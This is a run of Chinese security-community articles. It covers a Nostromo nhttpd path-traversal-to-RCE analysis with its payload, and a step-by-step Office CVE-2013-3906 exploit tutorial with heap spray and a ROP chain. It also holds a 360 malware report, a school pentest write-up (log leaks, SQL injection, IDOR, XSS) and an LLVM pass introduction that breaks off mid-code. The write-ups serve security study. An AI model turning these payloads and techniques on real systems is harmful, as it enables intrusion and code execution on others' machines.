2、定时遍历系统所有的进程，进行比较，将系统自身关键进程排除掉，其他Critical进程或者线程根据后台下发的策略进程恢复；
3、直接根据后台策略修改命中策略进程EPROCESS，ETHREAD相关字段；
## 7、总结
1、学习了在Ring3如何通过普通的代码粗发BSoD；并代码实现了；
2、学习了OS提供这种机制的背后的原理；
3、学习了Windbg如何简单分析BSoD；
4、逆向分析了部分关键代码，了解OS的操作方法；
5、给出了通用的解决方法； | 社区文章 |
## 前言
nhttpd是Marcus Glocker设计的开源Web服务器，也称为NostromoWeb服务器。
nhttpd通过select(2)处理正常的并发连接，但是为了提高效率（例如列目录和CGI执行），它使用fork(2)以提高效率。
下图为nostromo以及apache和thttpd在处理1KB文件，16KB文件、执行CGI时的性能比较
## 漏洞描述
nhttpd 1.9.6及之前版本中存在路径穿越漏洞。攻击者可利用该漏洞访问web server路径之外的文件。
## 漏洞分析
### 目录穿越
在main.c中，处理header处存在如下代码
程序将会调用http_verify对每个header进行有效性验证，如上图1568行
当http_verify函数对header有效性验证通过后，会调用http_proc对header进行处理，以及后续操作
跟入http_verify方法中
在header有效性验证环节(http_verify)中，http_verify方法验证了header是否可以被url解码、method是否效、以及是否存在”/../”目录变量这样的字符串等内容
上图：header是否可以被url解码http_decode_header_uri，该方法有三种可能的返回值，-1(error）/ 0 (不需要解码)/
解码后的值。-1则返回400状态码
上图：判断header 是否是GET/POST/HEAD method中的一个，不是则返回501状态码
上图：判断header中是否存在”/../”,存在则返回400状态码
在通过http_verify校验后，理论上是不允许出现”/../”这样导致目录穿越漏洞的字符串，导致漏洞产生的原因，需要接下来往后看。
通过验证的header，紧接着通过http_proc处理，如下图1571行
在该方法的290行处，可见使用http_header方法进行header解析
http_header方法解析传入的header并在结构中返回我们的响应，如下图
在该方法中存在如下代码
如上图1507行，http_header方法调用strcutl方法对header_data进行解析
strcutl方法中60行处，存在如下图代码
此处代码的本意，是通过’\n’或’\r\n’切分传入的header字符串
这里解释一下”\r”、”\n”以及”\r\n”：
CR：Carriage Return，对应ASCII中转义字符\r，表示回车
LF：Linefeed，对应ASCII中转义字符\n，表示换行
CRLF：Carriage Return & Linefeed，\r\n，表示回车并换行
由于操作系统的不同,Windows以及Linux等采用不同的换行方式：
Windows操作系统采用两个字符来进行换行，即CRLF(\r\n)；
Unix/Linux/Mac OS X操作系统采用单个字符LF(\n)来进行换行
上图代码的本意，是通过’\n’或’\r\n’切分传入的header字符串，当for循环中原始header中出现’\n’，则认为是一行数据的截至，停止对dst变量进行赋值，此时dst变量中存放的为这一行完整的数据
但是在windows中，会使用\r\n进行换行，数据中的header会以如下形式存在：
”line1\r\nline2”
为了在切割header行时，为了不把”\r”混入line1中，即避免存在”line1\r”情况的出现，程序通过判断原始header中逐位的字符是否是”\r”，若该处字符是”\r”，则continue，不将该字符”\r”赋值给最终的dst变量
因此，程序在用这种方式处理”line1\r\nline2”这样的windows下的数据时，第一行的dst值会是”line1”,而不会是”line1\r”
但是开发者仅仅考虑在处理windows
换行符(”\r\n”)换行时的问题，并简单的将”\r”去除，并没有意识到攻击者可能构造的特殊情况，例如：
“/..\r/..\r/..\r/”
这样的payload，在经过程序处理时，可以安全的通过http_verify对”/../”的校验。然而这人个payload在strcutl方法中，”\r”会被去除，最终dst值为/../../../。这样的dst数据，最终会导致目录穿越的产生
### RCE
http_proc方法中存在execve函数，如下图
execve()的第一个参数指定准备载入当前进程空间的新程序的路径名，第二个参数指定了传给新进程的命令行参数，最后一个参数指定了新程序的环境列表。
而此处，rh->rq_filef可以通过目录遍历，通过”/../../../../bin/sh”,指定web服务目录之外的bin/sh文件，造成远程代码执行漏洞的产生
## 修复
官方给出的修复方案如上，这里不仅判断了当前字符是”\r”，更是判断了”\r”后一位字符是否是”\n”。也就是说，只有”\r\n”这样的windows换行符出现时，”\r”会被去除原payload”
/\r../..\r/”经过此次修复，最终解析后的dst值仍为”/\r../..\r/”
如果构造payload”/\r\n../..\r\n/”,虽然可以去除”\r”,但由于随后的”\n”导致for循环的终止，此时dst值为”/”,仍不能满足目录穿越 | 社区文章 |
# 【技术分享】手把手教你如何构造office漏洞EXP（第二期）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**稿费：700RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第三期）**
****](http://bobao.360.cn/learning/detail/3049.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**](http://bobao.360.cn/learning/detail/3246.html)
**前言**
上一期本人分享了office经典漏洞CVE-2012-0158，演示了如何基于栈缓冲区溢出原理构造触发漏洞的攻击文档。本期分享的漏洞是CVE-2013-3906，也是一个典型的溢出型office文档漏洞。该漏洞的背景带有一定的传奇色彩，从技术框架的开发到军方相关的APT攻击，以及安全公司持续的追踪过程，都具备许多值得深究的意义。下面本文仅对其技术框架进行详解，演示如何基于漏洞原理构造出攻击文档，并进一步拓展演示如何绕过office
2010开启的dep保护机制。
**
**
**漏洞原理**
这个漏洞发生的位置是OGL.DLL模块，此模块是office用来解析图形图像的动态库，比如一个文档里面如果包含一些图表或者图片，当使用office打开这个文档的时候OGL.DLL就会自动被载入进程空间被调用来解析这些图形元素。而这个漏洞发生的原因是OGL.DLL在解析TIFF这类格式的图片数据时动态计算分配的内存大小，计算结果由于发生整数溢出且没有进行校验，从而导致堆内存缓冲区溢出。漏洞发生过程如下所示：
可以看出关键问题在于文档中包含的这张TIFF格式图片计算size数据的过程，这个过程可以从IDA中的这个子函数找到：
这里展示的是OGL.DLL在对经过JPEG算法压缩过的TIFF格式图片解析时，动态计算压缩数据大小的过程，看得出数据大小主要是由多个数组的数值循环累加而成，而其中每个数组的数值其实代表的是一个压缩块数据的大小。计算完总数据大小后，可以看到函数并没有进行任何检查就马上进行了内存分配，这也是导致此漏洞发生的重要原因，当然其根本原因还在于多个数值叠加后发生了32位整数溢出。此后，进行分配0字节的内存，这个调用将会成功并且返回内存堆块的句柄，只是其堆块内存的容量为0，所以当后面进行数据拷贝的时候，缓冲区就必然会发生溢出，破坏原始堆块的数据结构，这样就导致后面的程序轻易的会发生异常而崩溃。以下是对winword进程开启页堆后运行POC看到的堆内存越界访问，看得出拷贝的目标堆块size为0：
****
**
**
**构造触发漏洞的POC**
经过上面对漏洞成因的分析，知道漏洞是由于office解析压缩的TIFF图片时计算不严格导致的。为了验证以上的分析并触发漏洞，我们需要往office文档插入一张特殊构造的TIFF图片。这张特殊的图片当然不会是正常的TIFF图片，而是要满足我们前面所说的经过JPEG算法压缩且压缩块size数组叠加后整数溢出。具体地，我们需要参考TIFF文件格式手册，对正常的经JPEG压缩的TIFF图片进行改造，改造过程需要涉及的主要字段为：Compression（压缩标志字段）、StripOffsets（压缩数据偏移数组）和StripByteCounts（压缩数据size数组）、JPEGInterchangeFormat（JPEG压缩格式的数据头SOI）和JPEGInterchangeFormatLength（数据头的长度SOI_SIZE）、ImageLength（图像数据的长度）和RowsPerStrip（压缩块容量），其中，Compression=6（代表使用JPEG压缩），如下图：
而总的size要满足计算结果为32位整数0，总size的计算公式如下：
size=SOI_SIZE+strip_size[1]+strip_size[2]+…+strip_size[n]+n*2+8（SOI_SIZE=JPEGInterchangeFormatLength，n=ImageLength/RowsPerStrip，n
> 1）
根据此公式对size数组数据进行修改，使其累加后能够发生32位整数溢出，如下图所示：
构造好满足条件公式的图片后，将图片嵌入文档中（可以先嵌入一张正常的图片后再替换成构造的图片）保存，之后再通过office打开文档，文档即可华丽地崩溃：
**
**
**漏洞利用**
至此，我们得到的是一个由于整数溢出导致的堆内存越界拷贝漏洞，异常分配的0字节堆块原本是要用来拷贝SOI数据，现在由于越界拷贝破坏了堆块后面的内存数据导致程序出现异常。那么，为了能够利用这个漏洞来做一些事情，我们的首要目标就是接管程序的控制权，拿到eip。当然，这一步是仁者见仁智者见智，所谓条条道路通罗马，下面就介绍一种可行的方式进行利用。
由于SOI数据在TIFF图片中可控，所以间接的就可以控制越界拷贝的内存数据，而这部分数据是处于堆内存里面，不清楚拷贝数据后破坏了什么样的内存数据结构。因此，通过构造可以预测的内存对象，再借助对象的虚表指针进行跳转来争夺eip是一种比较能够预期的方法。具体地，我在插入TIFF图片之前，先插入一个图表，再插入正常待替换的图片，紧接着再插入一个复制的图表，最后再替换图片为构造好的TIFF图片。这样，相当于在解析TIFF图片的前后，都会解析插入的图表对象：
而图表对象的解析过程都会涉及到其他更多的子对象，比如GraphicsPath这种图像路径对象。构造TIFF图片并填充SOI数据为重复的内存地址值（如0x0a0a00a0），替换了构造的TIFF图片后打开文档，在调试器里跟踪会发现程序会在一个图像路径复制函数GdipClonePath中调用到GraphicsPath对象的虚函数，且GraphicsPath对象的虚表指针被构造的TIFF图片SOI数据覆盖为指定的内存地址值（以0x0a0a00a0为例），于是就成功劫持了程序eip到内存地址0x0a0a00a4:
上图的eax实际上就是GraphicsPath对象的虚表指针，其值存放的位置刚好是0字节堆块后面的堆内存，说明上述的越界拷贝覆盖了GraphicsPath内存对象，而此对象又在解析第二个图表对象时被复制，复制的过程中由于调用了对象的虚函数对对象本身进行检查，导致我们的利用目标得以实现。整个利用过程大概如下图所示（请自行脑补并通过实践去验证）：
到了这里，终于从一个堆内存越界写漏洞成功拿到了程序的控制eip，但是漏洞利用过程还远没有结束，因为有了eip后就要跳转到我们的shellcode地址去，可是shellcode存放在哪里？此时，介绍一种office堆喷射的技术，利用office的activeX控件进行内存布局。首先，在文档插入第一个图表对象的前面先插入n多个（如n=40）activeX对象（如上期提到的ListView对象），保存文档为docx格式（office
open
xml文件格式）后对其进行zip解压缩，将里面的n多个ActiveX.bin文件（一模一样）进行改造。改造的过程也很简单，文件头不需要动，然后将我们的shellcode以一定的间隔进行重复填充，直到整个bin文件的大小为一个编排计算好的值（比如2mb）。改造完顺便替换TIFF图片后重新打包文档，然后office打开文档的过程中就会先映射这n多个bin文件到内存，由于这些内存正常是会连续申请的，所以比较方便我们对进程的内存进行编排，把shellcode布局到可以预测的地址，这个过程大概如下图所示：
通过这种方式，shellcode能够相对稳定的布局到特定的某个内存地址（当然这种方法其实是有一些缺点的，比如无法百分百每次都成功，以及喷射过程比较缓慢等），然后我们只要控制eip跳转到那个地址去执行shellcode就可以。不过，如果是WINXP+office
2007还好可以直接执行payload代码，因为默认没有开启dep保护，堆内存代码可以被直接执行；而如果是在office 2010以上环境，
payload代码所在映射堆的内存由于没有可执行属性，执行的时候会抛出异常而停止执行。这时候就该ROP链出场了，众所周知它是dep的老伙伴。ROP是基于栈内存的编程，我们的思路也很简单，就是通过这种特殊的编程方式实现修改shellcode所在地址的内存具有可执行属性后再跳转到上面去执行。
首先由于shellcode存放在堆内存里，而ROP编程基于栈内存，所以我们先修改esp，进行堆和栈之间的转换。要实现这个很简单，就是在进程空间找到一段类似这样的指令：
xchg esp, eax
ret
然后控制eip指向该指令地址去执行后便能直接将shellcode翻转到栈内存，这里会遇到两个问题，一个是如何搜索这些指令的问题，另一个是如何确保这些指令的地址是固定不变的（必需）。第二个问题其实好说，就是根据运行环境找没有开启aslr保护的程序模块进行搜索，就比如winword.exe和上期提到的mscomctl.ocx这两个模块都没有开aslr。而第一个问题，搜索这些指令一般都是借助工具，工具的实现原理一般是对代码段数据进行反汇编后搜索匹配，将一些可用的指令集及其地址展现出来供编程者（我们）来使用。另外，也有一些网站提供在线上传搜索服务，比如通过ropshell.com这个网站上传winword程序文件进行搜索，返回一些易于使用的指令集：
翻转shellcode后，就可以基于栈来跳转调用内存属性修改函数了，这里我的思路是在winword程序的导入表里找到VirtualProtect函数的地址，在栈内存上构造好需要的参数后就跳转到该函数调用，完成修改后直接跳转到payload代码地址去执行，编写好的ROP链如下：
• 从call dword ptr ds:[eax+4]开始：
• 0x0a0a0000(eax):
– 0x3000143d ;pop esi ;ret
– 0x30002465 ;xchg esp,eax ;retn 0c28b
– payload
• 0x0a0a0000+0x0c28b+4(esp):
– 0x300010ed ;(pop esi ;ret)
– 0x30002071 ;jmp [esi + 0xffffff83] (virtualprotect)
– 0x0a0a00a8 ;ret payload start
– 0x0a0a00a8 ;lpAddress(payload start addr)
– 0x00010000 ;dwSize(payload size)
– 0x00000040 ;flNewProtect(RWE)
– 0x0a0a2210 ;lpFlOldProtect(mem can write)
最后，总算可以在office 2010弹一把计算器了：
****
**总结**
通过本文详细的分析，我们展示了如何通过一个简单的堆内存越界写漏洞在office程序里执行任意代码。虽然本文采取的利用方式略有繁琐且利用的效果稍有不足之处，但是整体的技术框架还是比较经典，具有一定的借鉴意义，很多地方值得好好的思考。这个漏洞的利用思路以及对应的检测方法具有显著的多样性，漏洞的本质是由于计算结果缺少校验导致内存可以越界写数据，从这一点也可以看出程序开发人员具备认真严谨的编程习惯与良好的安全意识是多么的重要。
****
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第三期）**
****](http://bobao.360.cn/learning/detail/3049.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**](http://bobao.360.cn/learning/detail/3246.html)
**[](http://bobao.360.cn/learning/detail/3003.html)** | 社区文章 |
企业面临的威胁可以说是来自四面八方，既有恶意的外部攻击者，也不排除来自内部的安全隐患。往往在不经意间，又可能引入新的安全因素，也有可能在输出产品时给其他企业带来安全风险。大而言之，企业的威胁从个人理解的角度出发，大致可以分为以下几点：
输入威胁
内部威胁
外部威胁
输出威胁
****输入威胁分析****
输入：第三方软件系统上线
输入：第三方硬件设备入网
输入：第三方开源框架与组件
企业常常需要向其他公司采购软、硬件设备，或采用第三方开源框架与组件进行开发。相关部门如果缺乏安全意识，就很有可能不经过任何安全相关评估，将安全风险带到公司，比如：买到即上线。然而对于一些稍有安全意识的公司，会对引入的产品进行安全评估，起初是这样一种情形：费&累
等待信息安全组沟通、验证回归漏洞完毕后，继续走流程购买付款，然后系统正式上线。在整个过程中，可见安全已经介入但出现较晚。在整个过程中，可见安全已经介入但出现较晚，导致的后果就是“费时费力帮别人家的产品做安全”。除此之外，再分享一个不靠谱的现象：飘&虚
曾有供应商提起，他们的系统经过某银行严格安全检查，并成功入驻，还向我们展示了部分检测报告。但在我们进行安全测试时，结果却不十分理想。刨根问底一番探究后，才弄明白：原来那银行使用绿盟主机漏洞扫描器，对供应商产品所在地址进行了主机漏洞扫描（在主机前还架设了防火墙，隔着墙扫的），而非对其产品进行安全评估。
难怪隔行如隔山，此类大跌眼镜、没有把安全落到实处的情形，估计还有不少。那问题来了，如何有效的对输入威胁进行有效控制？显而易见的是需要将安全提前，在业务方进行需求分析时，便把安全因素加入其中，成为需求的一个环节，在产品选型时可由安全组先关同事进行把关，可参考是否具有第三方安全机构出具的报告，可询问是否自行做过安全测试等行为保证产品的安全性。如果需要更进一步的确认，那么可以进行“抽样”式安全测试，对涉及到敏感数据环节或重要操作出进行安全评估。
****内部威胁浅析****
企业内部威胁主要来自于人，如果细分的话可以从安全意识、相关制度、内网管控等方面进行考量，比如：
&内鬼泄露内部机密信息资产
&内部人员主动攻击外部其他系统
&内部系统沦为肉鸡被动攻击外部其他系统
&内部网络混乱，比如访客网络与办公网甚至生产网未做隔离
&内部员工安全意识薄弱，被钓鱼或社工等攻击
&公司内部安全管理制度缺失，员工随意带电脑外出公司或带机密文件出公司
……
实际遇到的情况会比列出来的多、复杂的多、隐蔽的多，但在面对诸多威胁的时候，应该具备发现问题的眼光并深入下去，找到企业欠缺之处的根源，从源头进行修补。没有制度就制定并推行制度，安全意识不足就全员推送安全意识并坚持下去。以安全意识为例，可从视培读写四个方面开展：
****外部威胁粗析****
竞争对手的长期觊觎，导致雇佣黑客攻击的恶意竞争；
业务发展壮大安全跟不上，导致不法分子的获利攻击；
公司架构采用主流与非主流框架，出现0day时的攻击；
……
“与其落后挨打，不如主动求变”，企业的安全建设只有主动将救火阶段慢慢的转到安全建设，才能在遭受外部攻击时稍微淡定一点。
****输出威胁剖析****
技术输出：分享到外部的技术文档与其他资源存在安全缺陷，被其他人员当做模板使用。
产品输出：本身产品存在安全隐患，导致恶意攻击者恶意利用漏洞，或私藏后门开关按钮被外部发现且恶意利用。
公司产品（系统）严格控制经过安全测试后，再投入生产及交易。有条件的或时机成熟的公司，落地版的SDL走一遍，不仅是对客户负责，更有可能避免了以后某一天遭到曝光或攻击带来的麻烦。
****未完待续****
企业安全建设系列文章刚开始不久，希望能与大家交流，共同探讨！
本文首发于个人公众号（我的安全视界观），更多文章敬请期待。 | 社区文章 |
# “桃色陷阱”——网络色情软件揭秘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
通过色情内容来引流已经是许多黑灰产的常用手段，比如最常见的小广告弹窗、只有特殊渠道能访问的色情网站、某某美女视频资源等，都是裹着糖衣的炮弹，实际是黑客特意制作等着用户上钩的诱饵。
依据《中华人民共和国网络安全法》、《互联网信息服务管理办法》等相关法律和法规，在网络中传播淫秽色情信息是违法行为。而且网络中与色情挂边的内容几乎都伴随着木马，流氓推广，诈骗及赌博等一起出现，用户不经意之间跳“坑”，轻则电脑中毒，重则倾家荡产，望广大网友珍爱生命，远离网络色情。
经过360安全大脑的追踪，在用户电脑里找到了作恶的文件。
就是这些文件向浏览器添加了恶意插件。恶意插件劫持了购物网站的地址。劫持购物网站的具体过程如下，攻击者通过这种方式赚取推广费用。
据360安全大脑统计样本近两个月的活跃情况如下，样本目前仍然活跃在网络中，而且保持了较高的热度。
360安全大脑给大家盘点了隐藏在网络色情软件背后常见的套路和猫腻，希望广大用户引以为戒，小心防范，安全上网，远离“桃色陷阱”。
## 1、色情会员充值骗局
通过诱惑性的内容，勾起用户的兴趣，如果用户想要继续观看，就必须注册会员或者充值账号，用户一旦充值，就走进了圈套。
以下某款软件页面展示大量诱惑性影片资料，诱导并欺骗用户注册充值。当欲望压过理智，用户扫描支付以后，发现无法观看。反复充值，仍然无法观看。
值得一提的是，分析人员发现这个所谓的播放器竟然是由一张张动态图片组成的，不具有播放功能。如下图所示，播放进度只是一张图片，这完全是一个以情色为饵的骗局。
沉迷于网络上的色情内容本身就严重损害身心健康，影响家庭和谐。而类似的色情会员充值圈套，导致用户不但损失了金钱，还将面临软件包含其它恶意捆绑的风险。本以为注册充值有惊喜，结果却变成惊吓。
如何避免落入这种色情会员充值圈套呢？
首先，用户平时上网时要管住好奇心，远离网络色情内容；
其次，不轻信来源不明的充值要求，守住钱袋子；
然后，关注杀毒软件风险提示，不运行风险软件。
## 2、披着色情羊皮的木马
木马病毒最爱伪装成色情视频或者图片资源，蹭热点或花边新闻，借助色情网站、资源分享等途径快速扩散。
这类木马一般会结合色情信息来制作诱饵文件，将文件命名为某某明星视频、某某开房视频等，利用人性的弱点来传播。下面这些都是伪装成色情资源的恶意文件，这只是冰山一角。
例如这个名为“xxx宾馆聊天视频曝光”的文件，通过伪装图标和文件名的方式，使其表面上看是一个mp4视频文件。不特意查看文件类型扩展名，用户很难发现这实际是一个可执行程序（exe）。
这个伪装成视频的木马会播放一段色情视频来蒙蔽用户，然后在背后偷偷“干活”：启动一个名叫“聊呗潮信号码检测”的软件，来抓取聊呗、潮信这两款社交软件的账号，之后在开机启动项中添加了一个远控木马，而这个远控木马文件名则伪装成Windows系统进程“svchost.exe”。
该木马的执行过程如下图所示。
藏匿在系统中的远控程序，为黑客打开了一扇方便的大门。用户电脑随时可以被黑客控制，被用作肉鸡进行DDoS攻击、挖矿、刷流量等操作，甚至会被用作攻击其他目标的跳板。这时候用户的电脑就被吸入黑色产业链中，成为无辜的工具。
而木马获取的社交软件账号信息可以被反复出售，进行进一步的广告推广或精准诈骗。很多时候人们基于猎奇心理去寻找色情资源，最终却成为木马病毒的精准目标。互联网是有记忆的，电脑中毒可以重装，但是泄漏的个人信息，则在不法分子之间反复倒手，而后诈骗、垃圾广告接踵而来。
与其问“为什么中毒的总是我，我的个人信息是如何泄漏的”，不如遵循以下建议，从源头远离风险。
增强自制力，不主动搜索、不关注网络中的不良信息；
调整个人电脑的系统设置显示已知文件类型扩展名，“工具”ð“文件夹选项”ð“查看”ð取消钩选“隐藏已知文件类型扩展名”；
重视安全防护软件的风险提示，不要运行被拦截的程序；
保持警惕性，注重个人隐私，不随意添加陌生好友。
## 3、借软色情推广的小工具
网络中敢于触犯法律的毕竟是少数，但打着色情的名号吸引人气的行为比比皆是。有些小工具软件打着软色情的幌子吸引流量，背地里无恶不做，改首页、挖矿、劫持网站流量、静默安装软件，游走在法律的灰色地带。
诸如“影视资源搜索器”，“美女图片鉴赏器”之类下载工具，号称是宅男福利，可以搜索任意感兴趣的资源，支持下载离线观赏，来吸引眼球。这类软件主要通过爬虫技术全网抓取图片，视频等资源，而其在下载功能之外往往带着一些不可告人的秘密。
例如，下面这款图片鉴赏器，界面上的标签都是都是诱惑性的选项。
用户如果对这款软件感兴趣就中圈套了。分析人员发现，这款软件的资源文件中包含恶意模块。
用户运行这款软件，浏览器首页就会被恶意篡改。
许多小工具软件打法律的擦边球，通过软色情进行营销推广，以求跨越不同兴趣人群，保证持续的流量和曝光度，从而广泛传播。软件暗地里则通过劫持流量、捆绑推广流氓软件、运行挖矿程序等实现快速变现。打着软色情的幌子吸引用户使用，却苦了不明真相的用户，反复中招，电脑经常出现卡顿、各种奇怪的软件甚至是木马病毒。
如何撕下网络上形形色色的软色情面具？
首先，保持良好的上网习惯，不要浏览不可信的小论坛、网站；
其次，自觉抵制各种软色情信息的诱惑，不轻信软件的鼓吹；
然后，保持杀毒软件的开启状态，不要运行杀毒软件提示风险的文件。
## 4、狡兔三窟的色情网站
传播淫秽色情信息在我国是违法行为，然而为了牟取巨额利润，这些违法份子仍然铤而走险。用户沉迷于“小黄片”会影响个人的身心健康，更别说色情站中还充斥大量赌博网站引流信息和色情诈骗陷阱。用户一旦遭遇诈骗，甚至误入歧途参与赌博，极有可能摧毁整个家庭。
色情网站经常利用技术手段来逃避相关部门的查处，境外搭设服务器、限时开放网站、频繁更换IP及域名等。然后结合一种地址发布器之类的工具来保证网站地址更换后，用户还能找到最新的网站地址，从而再次将用户引流到线上黄网。
比如下面这款发布器，不仅把地址服务器设置在境外，而且还具备多种模式，一种模式对应一个服务器。只要任意一种有效，就可以将用户成功引流到线上黄网。为了便于国内用户记住网址，还会特意注册中文域名。
用户被引流到黄色网站后，网站除了提供色情淫秽图片视频，还会穿插大量的赌博广告，色情聊天室弹窗，线下色情服务，网赚推广等信息。
色情网站推送的广告信息，通过各种方式来刷存在感，绘制虚假关闭按钮，诱导用户点击；跟踪用户操作，弹出新的广告页；强制广告播放等持续骚扰用户。
色情网站还会承诺发布器不存在木马，提示用户关闭杀毒软件。用户一旦关闭杀毒软件，等于在网络中“裸奔”。色情网站内容庞杂，来源未知，用户时刻面临网站挂马风险。
除此之外色情站中还有充斥大量赌博网站引流信息和色情诈骗陷阱，用户防不胜防。
假如遇到色情网站或软件怎么办？
传播淫秽色情信息是违法行为，用户如果遇到色情网站之类的违法现象要主动向相关部门和组织举报，对网站和相关软件进行查处和屏蔽；
对于色情站中的木马病毒，杀毒软件就可以解决，开启杀毒软件的防护功能，重视风险提示，不运行风险软件；
色情网站背后的情色陷阱和赌博网站就需要用户的自制力和警惕心了，自觉远离不良信息。
## 结语
网络色情软件不仅影响身心健康，也是病毒、木马的温床。广大网友要自觉抵制网络色情内容，保持健康的上网习惯，不使用、不传播色情应用，发现违法软件主动向相关部门举报。
健康的网络环境离不开监管部门和安全厂商的共同努力，360安全大脑将全面守护您的安全，共同营造健康的网络环境。 | 社区文章 |
### 前言
闲着金币在edusrc里面，刚好某学校上架了新礼物，就有了这次的渗透,此文章中所有漏洞均已提交至edusrc并已经修复。
### 0x1信息泄露
在url后面随便输入字符,页面报错得到框架为ThinkPHP3
然后我们尝试访问默认日志路径
Application/Runtime/Logs/控制器/年份_月份_日期.log
访问成功,不过每隔几分钟日志就会被自动删除
### 0x2由日志泄露导致的任意用户注册
用户注册的地方,一定要使用该校的邮箱@xxxxxxxxx.edu.cn进行注册
我们通过GitHub搜索 该校域名+邮箱关键字，成功找到一个可以登入的邮箱
然后登入
利用得到的邮箱进行注册，查看激活邮件URL构造
http://xxxxxxxxx.edu.cn/index.php/activation?accessToken=f6d785fb9470d5fd604fb8897778f740
accessToken我们可以通过日志去查看,然后即可构造激活链接实现任意用户注册
[email protected]
查看日志得到accessToken
构造激活链接，访问成功激活
### 0x3sql注入
问题出现在验证手机号处
此处后端调用的阿里云发送短信,当发送次数过多后会触发号码天级流控,后端记录日志处xff未过滤导致的注入
天级流控说明 <https://developer.aliyun.com/ask/137083>
### 0x04由日志泄露导致任意手机号绑定
随便填写手机号
通过日志查看到正确的验证码
### 0x05平行越权
新增作文
然后编辑
修改url中的id即可越权操作编辑查看保存等操作
### 0x06 sql*2
删除作文处的数据包内的id参数未过滤存在注入
### 0x07锦上添花存储xss
个人资料处的ueditor编辑器上xml
alert | 社区文章 |
# LLVM PASS PWN
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
从红帽杯的`simpleVM`一题学习LLVM PASS，理解并运行我们的第一个LLVM PASS，然后逆向分析LLVM PASS的模块。
## 0x01 LLVM PASS
Pass就是“遍历一遍IR，可以同时对它做一些操作”的意思。
LLVM的核心库中会给你一些 Pass类 去继承。你需要实现它的一些方法。 最后使用LLVM的编译器会把它翻译得到的IR传入Pass里，给你遍历和修改。
LLVM Pass有什么用呢？
1.显然它的一个用处就是插桩，在Pass遍历LLVM IR的同时，自然就可以往里面插入新的代码。
2.机器无关的代码优化：大家如果还记得编译原理的知识的话，应该知道IR在被翻译成机器码前会做一些机器无关的优化。
但是不同的优化方法之间需要解耦，所以自然要各自遍历一遍IR，实现成了一个个LLVM Pass。 最终，基于LLVM的编译器会在前端生成LLVM
IR后调用一些LLVM Pass做机器无关优化， 然后再调用LLVM后端生成目标平台代码。
3.等等
## 0x02 LLVM IR
传给LLVM PASS进行优化的数据是LLVM IR，即代码的中间表示，LLVM IR有三种表示形式
1、.ll 格式：人类可以阅读的文本。
2、.bc 格式：适合机器存储的二进制文件。
3、内存表示
从对应格式转化到另一格式的命令如下：
.c -> .ll：clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s
如下是我们的一个简易程序
#include <stdio.h>
#include <unistd.h>
int main() {
char name[0x10];
read(0,name,0x10);
write(1,name,0x10);
printf("bye\n");
}
通过命令
clang -emit-llvm -S main.c -o main.ll
可以生成IR文本文件
; ModuleID = 'main.c'
source_filename = "main.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define i32 @main() #0 {
%1 = alloca [16 x i8], align 16
%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0
%3 = call i64 @read(i32 0, i8* %2, i64 16)
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0
%5 = call i64 @write(i32 1, i8* %4, i64 16)
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i32 0, i32 0))
ret i32 0
}
declare i64 @read(i32, i8*, i64) #1
declare i64 @write(i32, i8*, i64) #1
declare i32 @printf(i8*, ...) #1
attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}
从中可以看到IR中间代码表示的非常直观易懂，而LLVM PASS就是用于处理IR，将一些能够优化掉的语句进行优化。
## 0x03 编写一个简单的LLVM PASS
从官方文档里，我们可以找到一个简易的示例
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;
namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
};
}
char Hello::ID = 0;
// Register for opt
